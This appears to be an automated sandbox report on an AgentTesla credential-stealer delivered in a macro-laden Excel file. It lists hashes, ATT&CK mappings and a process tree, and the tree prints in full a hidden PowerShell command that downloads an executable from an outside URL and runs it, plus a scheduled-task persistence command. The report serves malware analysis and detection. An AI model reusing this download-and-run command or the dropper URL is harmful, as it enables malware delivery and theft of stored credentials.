agenttesla | 15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da

General

Target

PO-9103829.xlsm
Size

92KB
MD5

14133d71179bdf6257a18dc9808a92d5
SHA1

8a74705278d267865391e10a104701eed9438fa2
SHA256

15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da
SHA512

f4e0c6d2921a2fa2fd0387c522e8c06161870b7c5ae7167b4e95136cdcdeb4ea14afa59e19c975fe57be1e86d4b39d3d264558e2721da4d108893787f0277b71

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://manikmeyah.net/wp-content/mu-plugins/unl.exe

Signatures

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEpowershell.exeputty.exe

description	pid	Process	procid_target
PID 896 wrote to memory of 1520	896	EXCEL.EXE	24
PID 896 wrote to memory of 1520	896	EXCEL.EXE	24
PID 896 wrote to memory of 1520	896	EXCEL.EXE	24
PID 1520 wrote to memory of 1892	1520	powershell.exe	27
PID 1520 wrote to memory of 1892	1520	powershell.exe	27
PID 1520 wrote to memory of 1892	1520	powershell.exe	27
PID 1520 wrote to memory of 1892	1520	powershell.exe	27
PID 1892 wrote to memory of 1792	1892	putty.exe	28
PID 1892 wrote to memory of 1792	1892	putty.exe	28
PID 1892 wrote to memory of 1792	1892	putty.exe	28
PID 1892 wrote to memory of 1792	1892	putty.exe	28
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30
PID 1892 wrote to memory of 1560	1892	putty.exe	30

Loads dropped DLL 1 IoCs

Processes:

putty.exe

pid	Process
1892	putty.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

putty.exe

description	pid	Process	procid_target
PID 1892 set thread context of 1560	1892	putty.exe	30

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeputty.exeputty.exe

description	pid	Process
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1892	putty.exe
Token: SeDebugPrivilege	1560	putty.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
4	1520	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1520	896	powershell.exe	23

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exe

pid	Process
1792	schtasks.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
896	EXCEL.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXEputty.exe

pid	Process
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
896	EXCEL.EXE
1560	putty.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeputty.exeputty.exe

pid	Process
1520	powershell.exe
1892	putty.exe
1560	putty.exe
1560	putty.exe

Executes dropped EXE 2 IoCs

Processes:

putty.exeputty.exe

pid	Process
1892	putty.exe
1560	putty.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-9103829.xlsm
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://manikmeyah.net/wp-content/mu-plugins/unl.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
  2⤵
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Blacklisted process makes network request
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  PID:1520
- - C:\Users\Admin\AppData\Local\Temp\putty.exe
    "C:\Users\Admin\AppData\Local\Temp\putty.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    - Executes dropped EXE
    PID:1892
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CKDrTaW" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC38C.tmp"
      4⤵
      Creates scheduled task(s)
      PID:1792
  - - C:\Users\Admin\AppData\Local\Temp\putty.exe
      "{path}"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious behavior: EnumeratesProcesses
      Executes dropped EXE
      PID:1560

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\tmpC38C.tmp

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\Users\Admin\AppData\Local\Temp\putty.exe

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memory/896-3-0x0000000006510000-0x0000000006610000-memory.dmp

Filesize
1024KB

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memory/896-1-0x0000000006510000-0x0000000006610000-memory.dmp

Filesize
1024KB

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memory/896-2-0x0000000006510000-0x0000000006610000-memory.dmp

Filesize
1024KB

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memory/1520-4-0x0000000000000000-mapping.dmp

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memory/1560-17-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

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memory/1560-16-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

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memory/1560-13-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

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memory/1560-14-0x0000000000446C0E-mapping.dmp

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memory/1792-10-0x0000000000000000-mapping.dmp

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memory/1892-9-0x0000000000000000-0x0000000000000000-disk.dmp

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memory/1892-5-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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